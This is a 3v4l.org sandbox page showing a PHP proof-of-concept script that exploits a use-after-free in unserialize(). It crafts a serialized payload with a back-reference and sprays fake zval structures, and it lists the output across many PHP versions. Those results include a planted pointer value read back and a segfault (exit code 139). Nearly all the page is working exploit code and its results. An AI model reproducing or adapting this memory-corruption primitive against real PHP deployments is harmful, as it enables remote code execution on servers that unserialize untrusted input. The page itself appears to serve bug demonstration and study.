3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'r:2;'; $exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
based on tvgk1
Output for 5.4.45, 5.5.29 - 5.5.38, 5.6.13 - 5.6.28, 7.0.20 - 7.2.0
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } } } }
Output for 7.0.0 - 7.0.10
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> &object(obj2)#1 (1) { ["ryat"]=> int(1) } } } }
Output for 5.4.39 - 5.4.44, 5.5.23 - 5.5.28, 5.6.7 - 5.6.12
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> int(1122334455) } } }
Output for 5.4.20 - 5.4.38, 5.5.4 - 5.5.22, 5.6.0 - 5.6.6
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> array(1) { [0]=> *RECURSION* } } }
Output for 5.4.10 - 5.4.19, 5.5.0 - 5.5.3
array(2) { [0]=> object(obj2)#1 (1) { ["ryat"]=> int(1) } [1]=> array(1) { [0]=> string(25) "�v�B0" } }
Output for 5.4.0 - 5.4.9

Process exited with code 139.